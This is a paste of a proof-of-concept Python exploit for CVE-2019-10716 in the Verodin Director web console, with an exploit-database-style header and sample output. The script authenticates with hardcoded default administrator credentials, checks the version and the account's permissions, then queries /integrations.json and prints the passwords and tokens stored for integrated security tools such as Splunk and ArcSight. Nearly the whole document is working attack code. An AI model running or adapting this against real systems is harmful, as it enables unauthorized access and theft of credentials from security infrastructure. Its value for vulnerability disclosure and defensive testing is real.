· 6 years ago · Feb 06, 2020, 09:04 AM
1# Exploit Title: Verodin Director Web Console 3.5.4.0 - Remote Authenticated Password Disclosure (PoC)
2# Discovery Date: 2019-01-31
3# Exploit Author: Nolan B. Kennedy (nxkennedy)
4# Vendor Homepage: https://www.verodin.com/
5# Software Link : https://www.verodin.com/demo-request/demo-request-form
6# Tested Versions: v3.5.1.0, v3.5.2.0, v3.5.3.1
7# Tested On: Windows
8# CVE: CVE-2019-10716
9# Vulnerability Type: Sensitive Data Disclosure
10###
11# Description: Verodin Director's REST API allows authenticated users to query the configuration
12# details, which include credentials, of any 50+ possible integrated security tools (e.g. Splunk, ArcSight, Palo Alto, AWS Cloud Trail).
13# Fortunately for attackers, members of 3 out of the 4 user groups in the Director can query this info (Users, Power Users, System Admin).
14#
15# API Request: GET https://<director-ip>/integrations.json
16#
17# Usage: python3 script.py
18#
19# Example Output:
20#
21# -- VERODIN DIRECTOR WEB CONSOLE < V3.5.4.0 - REMOTE AUTHENTICATED PASSWORD DISCLOSURE (POC) --
22# -- Author: Nolan B. Kennedy (nxkennedy) --
23#
24#
25# [+] Director Version
26# =====================
27# [*] Detected version 3.5.1.0 is VULNERABLE! :)
28#
29#
30# [+] Account Permissions
31# ========================
32# [*] "admin@verodin.com" is a member of "System Admin"
33#
34#
35# [+] Verodin Integrations
36# =========================
37# [*] Product: splunk
38# [*] Username: splunk_svc_acct
39# [*] Misc (may include credentials): [{'scheme': 'https', 'basic': False, 'password': 'Sup3rP@ssw0rd',
40# 'port': 8089, 'host': '10.0.0.6', 'username': 'splunk_svc_acct'},
41# {'proxy_hash': None}]
42#
43# [*] Product: arcsight
44# [*] Username: arcsight_admin
45# [*] Misc (may include credentials): ['10.0.0.7', 8443, 'https', 'arcsight_admin', 'Sup3rP@ssw0rd',
46# "/All Filters/Personal/integration_user's filters/Verodin Filter", 'Verodin Query Viewer', 60]
47#
48# [+] Done!
49###
50
51import base64
52from distutils.version import LooseVersion
53import json
54import re
55import ssl
56from sys import exit
57from time import sleep
58import urllib.request
59
60
61
62
63verodin_ip = '0.0.0.0'
64# Default System Admin creds. Worth a try.
65username = 'admin@verodin.com'
66password = 'Ver0d!nP@$$'
67base_url = 'https://{}'.format(verodin_ip)
68fixed_version = '3.5.4.0'
69
70
71# We'll be making 3 different requests so we need a web handling function
72def requests(target, html=False):
73
74 url = base_url + target
75 context = ssl._create_unverified_context() # so we don't get an ssl cert error
76 req = urllib.request.Request(url)
77 credentials = ('{}:{}'.format(username, password))
78 encoded_credentials = base64.b64encode(credentials.encode('ascii'))
79 req.add_header('Authorization', 'Basic %s' % encoded_credentials.decode("ascii")) # use %s instead of format because errors
80 r = urllib.request.urlopen(req, context=context)
81 content = r.read().decode('utf-8')
82 if r.getcode() == 200:
83 # we don't always get a 401 if auth fails
84 if 'Cookies need to be enabled' in content:
85 print('[!] Failed to retrieve data: Credentials incorrect/invalid')
86 print()
87 print('[!] Exiting...')
88 exit(1)
89 elif html:
90 blob = content
91 else:
92 blob = json.loads(content)
93 return blob
94 elif r.getcode() == 401:
95 print('[!] Failed to retrieve data: Credentials incorrect/invalid')
96 print()
97 print('[!] Exiting...')
98 exit(1)
99 else:
100 print('[!] ERROR: Status Code {}'.format(r.getcode()))
101 exit(1)
102
103
104# Do we have permissions to retrieve the creds?
105def getUserPerms():
106
107 target = '/users/user_prefs.json'
108 r = requests(target) # returns a single json dict
109 print('\n[+] Account Permissions')
110 print('========================')
111 group_id = r['user_group_id']
112 roles = {'Reporting': 4, 'Users': 3, 'Power Users': 2, 'System Admin': 1}
113 for role,value in roles.items():
114 if group_id == value:
115 print('[*] "{}" is a member of "{}"'.format(username, role))
116 print()
117 if group_id == 4:
118 print('[!] This account does not have sufficient privs. You need "Users" or higher.')
119 print()
120 print('[!] Exiting...')
121 exit(1)
122 sleep(0.5)
123
124
125# We need to verify the target Director is running a vulnerable version
126def checkVuln():
127
128 target = '/settings/system'
129 r = requests(target, html=True)
130 field = re.search(r'Director\sVersion:.*', r)
131 version = field.group().split('<')[0].split(" ")[2]
132 print('\n[+] Director Version')
133 print('=====================')
134 if LooseVersion(version) < LooseVersion(fixed_version):
135 print('[*] Detected version {} is VULNERABLE! :)'.format(version))
136 print()
137 else:
138 print('[!] Detected version {} is not vulnerable. Must be < {}'.format(version, fixed_version))
139 print()
140 print('[!] Exiting...')
141
142 sleep(0.5)
143
144
145# Where we parse out any creds or other useful info
146def getLoot():
147
148 target = '/integrations.json'
149 r = requests(target) # a list of json dicts
150 print('\n[+] Verodin Integrations')
151 print('=========================')
152 if not r:
153 print('[+] Dang! No integrations configured in this Director :(')
154 print()
155 else:
156 for integration in r:
157 product = integration['package_name'] # constant key
158 misc = integration.get('new_client_args') # we use .get to return a None type if the key doesn't exist
159 user = integration.get('username')
160 passw = integration.get('password')
161 token = integration.get('auth_token')
162 print('[*] Product: {}'.format(product))
163 if user:
164 print('[*] Username: {}'.format(user))
165 if passw:
166 print('[*] Password: {}'.format(passw))
167 if token and token is not 'null':
168 print('[*] Auth Token: {}'.format(token))
169 if misc:
170 print('[*] Misc (may include credentials): {}'.format(misc))
171 print()
172 sleep(0.5)
173
174
175def main():
176
177 print('\n-- Verodin Director Web Console < v3.5.4.0 - Remote Authenticated Password Disclosure (PoC) --'.upper())
178 print('-- Author: Nolan B. Kennedy (nxkennedy) --')
179 print()
180 checkVuln()
181 getUserPerms()
182 getLoot()
183 print('[+] Done!')
184
185
186if __name__ == '__main__':
187 main()